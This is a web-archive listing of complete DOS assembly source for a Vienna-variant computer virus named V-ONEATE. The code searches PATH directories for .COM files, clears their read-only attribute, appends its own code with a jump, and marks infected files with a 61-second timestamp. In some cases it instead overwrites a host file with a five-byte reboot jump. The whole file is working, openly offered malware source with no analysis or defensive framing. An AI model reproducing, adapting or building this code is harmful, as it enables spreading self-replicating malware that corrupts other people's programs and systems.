home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / V-ONEATE.ASM < prev    next >
Assembly Source File  |  1996-04-07  |  24KB  |  619 lines

  1. ;************************************************************************
  2. ;                   V-ONEATE Virus (Virus: One in Ate)
  3. ;                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  4. ; This is a variant of the Vienna strain which only runs its infectious
  5. ;       code on an average 1 out of every 8 times it is run.  When it is 
  6. ;       run, however, it infects 8 files.  This is to make up for the 
  7. ;       slow infection rate.  The 62 second flag has been modified for
  8. ;       61 seconds.  The DOS v1.x checker is removed.  Why?  Do you
  9. ;       know anyone who uses DOS v1.x?
  10. ;-------------------------------------------------------------------------
  11.  
  12. MOV_CX  MACRO   X
  13.         DB      0B9H
  14.         DW      X
  15. ENDM
  16.  
  17. CODE    SEGMENT
  18.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  19.         ORG     $+0100H
  20.  
  21. ;*****************************************************************************
  22. ;Start out with a JMP around the remains of the original .COM file, into the
  23. ;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
  24. ;The rest of the file (first 3 bytes) are stored in the virus data area.
  25. ;*****************************************************************************
  26.  
  27. VCODE:  JMP     virus
  28.  
  29. ;This was the rest  of the original .COM file. Tiny and simple, this time
  30.  
  31.         NOP
  32.         NOP
  33.         NOP
  34.         NOP
  35.         NOP
  36.         NOP
  37.         NOP
  38.         NOP
  39.         NOP
  40.         NOP
  41.         NOP
  42.         NOP
  43.         NOP
  44.         NOP
  45.         NOP
  46.  
  47. ;************************************************************
  48. ;              The actual virus starts here
  49. ;************************************************************
  50.  
  51. v_start equ     $
  52.  
  53. virus:  
  54. ;*******************************************************************
  55. ;  Start of Virus Code:        Get current system time
  56. ;*******************************************************************
  57.  
  58.         MOV     AH,2CH
  59.         INT     21H
  60.  
  61.         AND     DH,07h                  ;Last 3 bits 0? (once in eight)
  62.         JNZ     all_done
  63.  
  64. ;*******************************************************************
  65. ; The special "one in eight" infection. If the above line were in
  66. ;  its original form, this code would be run 1/8 of the time, and
  67. ;  rather than appending a copy of this virus to the 8 .COM files, 
  68. ;  the virus simply runs the .COM program normally. 
  69. ; ******************************************************************
  70.  
  71.         PUSH    CX
  72.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  73.                                         ; The 2nd and 3rd bytes get modified.
  74.         CLD                             ;Pointers will be auto INcremented
  75.         MOV     SI,DX                   ;Access data as offset from SI
  76.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  77.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  78.         MOV     CX,3
  79.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  80.         MOV     SI,DX                   ;Keep SI pointing to the data area
  81.  
  82. ;*************************************************************
  83. ;               Get DTA address into ES:BX
  84. ;*************************************************************
  85.         PUSH    ES
  86.         MOV     AH,2FH
  87.         INT     21H
  88.  
  89. ;*************************************************************
  90. ;                    Save the DTA address
  91. ;*************************************************************
  92.  
  93.         MOV     [SI+old_dta],BX
  94.         MOV     [SI+old_dts],ES         ;Save the DTA address
  95.  
  96.         POP     ES
  97.  
  98. ;*************************************************************
  99. ;        Set DTA to point inside the virus data area
  100. ;*************************************************************
  101.  
  102.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  103. ;       NOP                             ;MASM will add this NOP here
  104.         ADD     DX,SI                   ;Compute DTA address
  105.         MOV     AH,1AH
  106.         INT     21H                     ;Set new DTA to inside our own code
  107.  
  108.         PUSH    ES
  109.         PUSH    SI
  110.         MOV     ES,DS:2CH
  111.         MOV     DI,0                    ;ES:DI points to environment
  112.         JMP     ifect
  113.  
  114. ; Here when it's time to close it up & end
  115. ; ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  116.  
  117. all_done:
  118.         PUSH    DS
  119.  
  120. ;**********************************************************************
  121. ;                         Restore old DTA
  122. ;**********************************************************************
  123.  
  124.         MOV     AH,1AH
  125.         MOV     DX,[SI+old_dta]
  126.         MOV     DS,[SI+old_dts]
  127.         INT     21H
  128.  
  129.         POP     DS
  130.  
  131. ;*************************************************************************
  132. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  133. ;  in since the address in a real JMP 100 is an offset, and the offset
  134. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  135. ;  stack, we can RET to address 0100H just as though we JMPed there.
  136. ;**********************************************************************
  137.  
  138. quit:
  139.         POP     CX
  140.         XOR     AX,AX
  141.         XOR     BX,BX
  142.         XOR     DX,DX
  143.         XOR     SI,SI
  144.         MOV     DI,OFFSET 0100H
  145.         PUSH    DI
  146.         XOR     DI,DI
  147.  
  148.         RET     0FFFFH
  149.  
  150.  
  151.  
  152. ; The Infect Cycle
  153. ; ~~~~~~~~~~~~~~~~
  154. ifect:  MOV     CX,0008h
  155. infect: PUSH    CX
  156.         CALL    theifect
  157.         POP     CX
  158.         LOOP    infect
  159.  
  160. ;************************************************************
  161. ;        Find the "PATH=" string in the environment
  162. ;************************************************************
  163. theifect:                               ; The infection Cycle begins
  164. find_path:
  165.         POP     SI
  166.         PUSH    SI                      ;Get SI back
  167.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  168.         LODSB
  169.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  170.         REPNZ   SCASB                   ;Search for first character
  171.         MOV     CX,4
  172.  
  173. ;************************************************************
  174. ;       Loop to check for the next four characters
  175. ;************************************************************
  176.  
  177. check_next_4:
  178.         LODSB
  179.         SCASB
  180.         JNZ     find_path               ;If not all there, abort & start over
  181.         LOOP    check_next_4            ;Loop to check the next character
  182.  
  183.         POP     SI
  184.         POP     ES
  185.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  186.         MOV     DI,SI
  187.         ADD     DI,wrk_spc              ;File name workspace
  188.         MOV     BX,SI                   ;Save a copy of SI
  189.         ADD     SI,wrk_spc              ;Point SI to workspace
  190.         MOV     DI,SI                   ;Point DI to workspace
  191.         JMP     SHORT   slash_ok
  192.  
  193. ;**********************************************************
  194. ;     Look in the PATH for more subdirectories, if any
  195. ;**********************************************************
  196.  
  197. set_subdir:
  198.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  199.         JNZ     found_subdir            ;If not, there are more subdirectories
  200.         JMP     all_done                ;Else, we're all done
  201.  
  202. ;**********************************************************
  203. ;    Here if there are more subdirectories in the path
  204. ;**********************************************************
  205.  
  206. found_subdir:
  207.         PUSH    DS
  208.         PUSH    SI
  209.         MOV     DS,ES:2CH               ;DS points to environment segment
  210.         MOV     DI,SI
  211.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  212.         ADD     DI,wrk_spc              ;DI points to file name workspace
  213.  
  214. ;***********************************************************
  215. ;      Move subdirectory name into file name workspace
  216. ;***********************************************************
  217.  
  218. move_subdir:
  219.         LODSB                           ;Get character
  220.         CMP     AL,';'                  ;Is it a ';' delimiter?
  221.         JZ      moved_one               ;Yes, found another subdirectory
  222.         CMP     AL,0                    ;End of PATH string?
  223.         JZ      moved_last_one          ;Yes
  224.         STOSB                           ;Save PATH marker into [DI]
  225.         JMP     SHORT   move_subdir
  226.  
  227. ;******************************************************************
  228. ; Mark the fact that we're looking through the final subdirectory
  229. ;******************************************************************
  230.  
  231. moved_last_one:
  232.         MOV     SI,0
  233.  
  234. ;******************************************************************
  235. ;              Here after we've moved a subdirectory
  236. ;******************************************************************
  237.  
  238. moved_one:
  239.         POP     BX                      ;Pointer to virus data area
  240.         POP     DS                      ;Restore DS
  241.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  242.         NOP
  243.  
  244. ;******************************************************************
  245. ;             Make sure subdirectory ends in a "\"
  246. ;******************************************************************
  247.  
  248.         CMP     CH,'\'                  ;Ends with "\"?
  249.         JZ      slash_ok                ;If yes
  250.         MOV     AL,'\'                  ;Add one, if not
  251.         STOSB
  252.  
  253. ;******************************************************************
  254. ;     Here after we know there's a backslash at end of subdir
  255. ;******************************************************************
  256.  
  257. slash_ok:
  258.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  259.         MOV     SI,BX                   ;Restore SI
  260.         ADD     SI,f_spec               ;Point to "*.COM"
  261.         MOV     CX,6
  262.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  263.  
  264.         MOV     SI,BX
  265.  
  266. ;*******************************************************************
  267. ;                 Find first string matching *.COM
  268. ;*******************************************************************
  269.  
  270.         MOV     AH,4EH
  271.         MOV     DX,wrk_spc
  272. ;       NOP                             ;MASM will add this NOP here
  273.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  274.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  275.         INT     21H
  276.  
  277.         JMP     SHORT   find_first
  278.  
  279. ;*******************************************************************
  280. ;              Find next ASCIIZ string matching *.COM
  281. ;*******************************************************************
  282.  
  283. find_next:
  284.         MOV     AH,4FH
  285.         INT     21H
  286.  
  287. find_first:
  288.         JNB     found_file              ;Jump if we found it
  289.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  290.  
  291. ;*******************************************************************
  292. ;                      Here when we find a file
  293. ;*******************************************************************
  294.  
  295. found_file:
  296.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  297.         AND     AL,1FH                  ;Mask to remove all but seconds
  298.         CMP     AL,1EH                  ;61 seconds -> already infected
  299.         JZ      find_next               ;If so, go find another file
  300.  
  301.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  302.         JA      find_next               ;If too long, find another one
  303.  
  304.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  305.         JB      find_next               ;Then go find another one
  306.  
  307.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  308.         PUSH    SI                      ;Save SI
  309.         ADD     SI,dta_nam              ;Point SI to file name
  310.  
  311. ;********************************************************************
  312. ;                Move the name to the end of the path
  313. ;********************************************************************
  314.  
  315. more_chars:
  316.         LODSB
  317.         STOSB
  318.         CMP     AL,0
  319.         JNZ     more_chars              ;Move characters until we find a 00
  320.  
  321. ;********************************************************************
  322. ;                        Get File Attributes
  323. ;********************************************************************
  324.  
  325.         POP     SI
  326.         MOV     AX,OFFSET 4300H
  327.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  328. ;       NOP                             ;MASM will add this NOP here
  329.         ADD     DX,SI
  330.         INT     21H
  331.  
  332.         MOV     [SI+old_att],CX         ;Save the old attributes
  333.  
  334. ;********************************************************************
  335. ;         Rewrite the attributes to allow writing to the file
  336. ;********************************************************************
  337.  
  338.         MOV     AX,OFFSET 4301H         ;Set attributes
  339.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  340.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  341. ;       NOP                             ;MASM will add this NOP here
  342.         ADD     DX,SI                   ;Point to \path\name
  343.         INT     21H
  344.  
  345. ;********************************************************************
  346. ;                Open Read/Write channel to the file
  347. ;********************************************************************
  348.  
  349.         MOV     AX,OFFSET 3D02H         ;Read/Write
  350.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  351. ;       NOP                             ;MASM will add this NOP here
  352.         ADD     DX,SI                   ;Point to \path\name
  353.         INT     21H
  354.  
  355.         JNB     opened_ok               ;If file was opened OK
  356.         JMP     fix_attr                ;If it failed, restore the attributes
  357.  
  358. ;*******************************************************************
  359. ;                        Get the file date & time
  360. ;*******************************************************************
  361.  
  362. opened_ok:
  363.         MOV     BX,AX
  364.         MOV     AX,OFFSET 5700H
  365.         INT     21H
  366.  
  367.         MOV     [SI+old_tim],CX         ;Save file time
  368.         MOV     [SI+ol_date],DX         ;Save the date
  369.  
  370. ;*******************************************************************
  371. ;                        Get current system time
  372. ;*******************************************************************
  373.  
  374.         MOV     AH,2CH
  375.         INT     21H
  376.  
  377.         AND     DH,7                    ;Last 3 bits 0? (once in eight)
  378.         JNZ     seven_in_eight
  379.  
  380. ;*******************************************************************
  381. ; The special "one in eight" infection. If the above line were in
  382. ;  its original form, this code would be run 1/8 of the time, and
  383. ;  rather than appending a copy of this virus to the .COM file, the
  384. ;  file would get 5 bytes of code that reboot the system when the
  385. ;  .COM file is run.
  386. ;*******************************************************************
  387.  
  388.         MOV     AH,40H                  ;Write to file
  389.         MOV     CX,5                    ;Five bytes
  390.         MOV     DX,SI
  391.         ADD     DX,reboot               ;Offset of reboot code in data area
  392.         INT     21H
  393.  
  394.         JMP     SHORT   fix_time_stamp
  395.  
  396.         NOP
  397.  
  398. ;******************************************************************
  399. ;      Here's where we infect a .COM file with this virus
  400. ;******************************************************************
  401.  
  402. seven_in_eight:
  403.         MOV     AH,3FH
  404.         MOV     CX,3
  405.         MOV     DX,first_3
  406. ;       NOP                     ;MASM will add this NOP here
  407.         ADD     DX,SI
  408.         INT     21H             ;Save first 3 bytes into the data area
  409.  
  410.         JB      fix_time_stamp  ;Quit, if read failed
  411.  
  412.         CMP     AX,3            ;Were we able to read all 3 bytes?
  413.         JNZ     fix_time_stamp  ;Quit, if not
  414.  
  415. ;******************************************************************
  416. ;              Move file pointer to end of file
  417. ;******************************************************************
  418.  
  419.         MOV     AX,OFFSET 4202H
  420.         MOV     CX,0
  421.         MOV     DX,0
  422.         INT     21H
  423.  
  424.         JB      fix_time_stamp  ;Quit, if it didn't work
  425.  
  426.         MOV     CX,AX           ;DX:AX (long int) = file size
  427.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  428.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  429.  
  430.         ADD     CX,OFFSET c_len_y
  431.         MOV     DI,SI           ;Point DI to virus data area
  432.         SUB     DI,OFFSET c_len_x
  433.                                 ;Point DI to reference vir_dat, at start of pgm
  434.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  435.  
  436. ;*******************************************************************
  437. ;                    Write virus code to file
  438. ;*******************************************************************
  439.  
  440.         MOV     AH,40H
  441.  
  442.         MOV_CX  virlen                  ;Length of virus, in bytes
  443.  
  444.         MOV     DX,SI
  445.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  446.                                         ; address of virus code in memory
  447.         INT     21H
  448.  
  449.         JB      fix_time_stamp          ;Jump if error
  450.  
  451.         CMP     AX,OFFSET virlen        ;All bytes written?
  452.         JNZ     fix_time_stamp          ;Jump if error
  453.  
  454. ;**********************************************************************
  455. ;                Move file pointer to beginning of the file
  456. ;**********************************************************************
  457.  
  458.         MOV     AX,OFFSET 4200H
  459.         MOV     CX,0
  460.         MOV     DX,0
  461.         INT     21H
  462.  
  463.         JB      fix_time_stamp          ;Jump if error
  464.  
  465. ;**********************************************************************
  466. ;              Write the 3 byte JMP at the start of the file
  467. ;**********************************************************************
  468.  
  469.         MOV     AH,40H
  470.         MOV     CX,3
  471.         MOV     DX,SI                   ;Virus data area
  472.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  473.         INT     21H
  474.  
  475. ;**********************************************************************
  476. ;       Restore old file date & time, with seconds modified to 62
  477. ;**********************************************************************
  478.  
  479. fix_time_stamp:
  480.         MOV     DX,[SI+ol_date]         ;Old file date
  481.         MOV     CX,[SI+old_tim]         ;Old file time
  482.         AND     CX,OFFSET 0FFE0H
  483.         OR      CX,1EH                  ;Seconds = 31/30 min = 61 seconds
  484.         MOV     AX,OFFSET 5701H
  485.         INT     21H
  486.  
  487. ;**********************************************************************
  488. ;                              Close File
  489. ;**********************************************************************
  490.  
  491.         MOV     AH,3EH
  492.         INT     21H
  493.  
  494. ;**********************************************************************
  495. ;                     Restore Old File Attributes
  496. ;**********************************************************************
  497.  
  498. fix_attr:
  499.         MOV     AX,OFFSET 4301H
  500.         MOV     CX,[SI+old_att]         ;Old Attributes
  501.         MOV     DX,wrk_spc
  502. ;       NOP                             ;MASM will add this NOP
  503.         ADD     DX,SI                   ;DX points to \path\name in workspace
  504.         INT     21H
  505.         RET
  506. ;  End of Infection loop
  507. ;  ^^^^^^^^^^^^^^^^^^^^^
  508.  
  509.  
  510. ;************************************************************************
  511. ;The virus data starts here. It's accessed off the SI register, per the
  512. ; comments as shown
  513. ;************************************************************************
  514.  
  515. vir_dat EQU     $
  516.  
  517.         ;Use this with (SI + old_dta)
  518. olddta_ DW      0                       ;Old DTA offset
  519.  
  520.         ;Use this with (SI + old_dts)
  521. olddts_ DW      0                       ;Old DTA segment
  522.  
  523.         ;Use this with (SI + old_tim)
  524. oldtim_ DW      0                       ;Old Time
  525.  
  526.         ;Use this with (SI + ol_date)
  527. oldate_ DW      0                       ;Old date
  528.  
  529.         ;Use this with (SI + old_att)
  530. oldatt_ DW      0                       ;Old file attributes
  531.  
  532. ;Here's where the first three bytes of the original .COM file go.(SI + first_3)
  533.  
  534. first3_ EQU     $
  535.         INT     20H
  536.         NOP
  537.  
  538. ;Here's where the new JMP instruction is worked out
  539.  
  540.         ;Use this with (SI + jmp_op)
  541. jmpop_  DB      0E9H                    ;Start of JMP instruction
  542.  
  543.         ;Use this with (SI + jmp_dsp)
  544. jmpdsp_ DW      0                       ;The displacement part
  545.  
  546. ;This is the type of file  we're looking to infect. (SI + f_spec)
  547.  
  548. fspec_  DB      '*.COM',0
  549.  
  550.         ;Use this with (SI + path_ad)
  551. pathad_ DW      0                       ;Path address
  552.  
  553.         ;Use this with (SI + nam_ptr)
  554. namptr_ DW      0                       ;Pointer to start of file name
  555.  
  556.         ;Use this with (SI + env_str)
  557. envstr_ DB      'PATH='                 ;Find this in the environment
  558.  
  559.         ;File name workspace (SI + wrk_spc)
  560. wrkspc_ DB      40h dup (0)
  561.  
  562.         ;Use this with (SI + dta)
  563. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  564.  
  565.         ;Use this with (SI + dta_tim)
  566. dtatim_ DW      0,0                     ;Time stamp in DTA
  567.  
  568.         ;Use this with (SI + dta_len)
  569. dtalen_ DW      0,0                     ;File length in the DTA
  570.  
  571.         ;Use this with (SI + dta_nam)
  572. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  573.  
  574.         ;Use this with (SI + reboot)
  575. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  576.  
  577. lst_byt EQU     $                       ;All lines that assemble into code are
  578.                                         ;  above this one
  579.  
  580. ;*****************************************************************************
  581. ;The virus needs to know a few details about its own size and the size of its
  582. ; code portion. Let the assembler figure out these sizes automatically.
  583. ;*****************************************************************************
  584.  
  585. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  586. codelen =       vir_dat - v_start       ;Length of virus code, only
  587. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  588. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  589.  
  590. ;*****************************************************************************
  591. ;Because this code is being appended to the end of an executable file, the
  592. ; exact address of its variables cannot be known. All are accessed as offsets
  593. ; from SI, which is represented as vir_dat in the below declarations.
  594. ;*****************************************************************************
  595.  
  596. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  597. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  598. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  599. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  600. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  601. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  602. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  603. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  604. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  605. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  606. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  607. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  608. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  609. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  610. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  611. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  612. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  613. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  614.  
  615.         CODE    ENDS
  616. END     VCODE
  617.  
  618.  
  619.